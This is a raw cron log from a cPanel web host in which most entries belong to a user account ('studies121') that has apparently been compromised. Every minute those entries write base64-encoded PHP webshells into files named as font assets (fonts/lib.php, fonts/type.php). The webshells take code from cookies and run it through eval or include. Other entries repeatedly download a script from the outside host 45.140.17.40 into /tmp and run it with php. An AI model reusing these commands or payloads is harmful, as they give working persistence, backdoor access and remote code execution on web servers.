Sep  9 12:26:01 ip-184-168-122-23 CROND[16717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:26:02 ip-184-168-122-23 CROND[16718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:26:02 ip-184-168-122-23 CROND[16720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:27:01 ip-184-168-122-23 CROND[16814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:27:01 ip-184-168-122-23 CROND[16817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:27:01 ip-184-168-122-23 CROND[16818]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:27:01 ip-184-168-122-23 CROND[16816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:28:01 ip-184-168-122-23 CROND[16992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:28:01 ip-184-168-122-23 CROND[16995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:28:01 ip-184-168-122-23 CROND[16994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:28:01 ip-184-168-122-23 CROND[16997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:28:01 ip-184-168-122-23 CROND[16996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:29:01 ip-184-168-122-23 CROND[17108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:29:01 ip-184-168-122-23 CROND[17112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:29:01 ip-184-168-122-23 CROND[17110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:29:01 ip-184-168-122-23 CROND[17111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17231]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17228]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17239]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:30:01 ip-184-168-122-23 CROND[17237]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:30:01 ip-184-168-122-23 CROND[17238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:30:01 ip-184-168-122-23 CROND[17244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:31:01 ip-184-168-122-23 CROND[17364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:31:01 ip-184-168-122-23 CROND[17368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:31:01 ip-184-168-122-23 CROND[17369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:31:01 ip-184-168-122-23 CROND[17366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:31:01 ip-184-168-122-23 CROND[17367]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:32:01 ip-184-168-122-23 CROND[17494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:32:01 ip-184-168-122-23 CROND[17496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:32:01 ip-184-168-122-23 CROND[17495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:32:01 ip-184-168-122-23 CROND[17498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:32:01 ip-184-168-122-23 CROND[17497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:33:01 ip-184-168-122-23 CROND[17691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:33:01 ip-184-168-122-23 CROND[17693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:33:01 ip-184-168-122-23 CROND[17696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:33:01 ip-184-168-122-23 CROND[17695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:34:01 ip-184-168-122-23 CROND[17810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:34:01 ip-184-168-122-23 CROND[17812]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:34:01 ip-184-168-122-23 CROND[17815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:34:01 ip-184-168-122-23 CROND[17814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:34:01 ip-184-168-122-23 CROND[17816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:35:01 ip-184-168-122-23 CROND[17959]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17962]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:35:01 ip-184-168-122-23 CROND[17966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:36:02 ip-184-168-122-23 CROND[18074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:36:02 ip-184-168-122-23 CROND[18076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:36:02 ip-184-168-122-23 CROND[18075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:36:02 ip-184-168-122-23 CROND[18080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:36:02 ip-184-168-122-23 CROND[18079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:37:01 ip-184-168-122-23 CROND[18174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:37:01 ip-184-168-122-23 CROND[18177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:37:01 ip-184-168-122-23 CROND[18176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:37:01 ip-184-168-122-23 CROND[18178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:38:01 ip-184-168-122-23 CROND[18361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:38:01 ip-184-168-122-23 CROND[18365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:38:01 ip-184-168-122-23 CROND[18363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
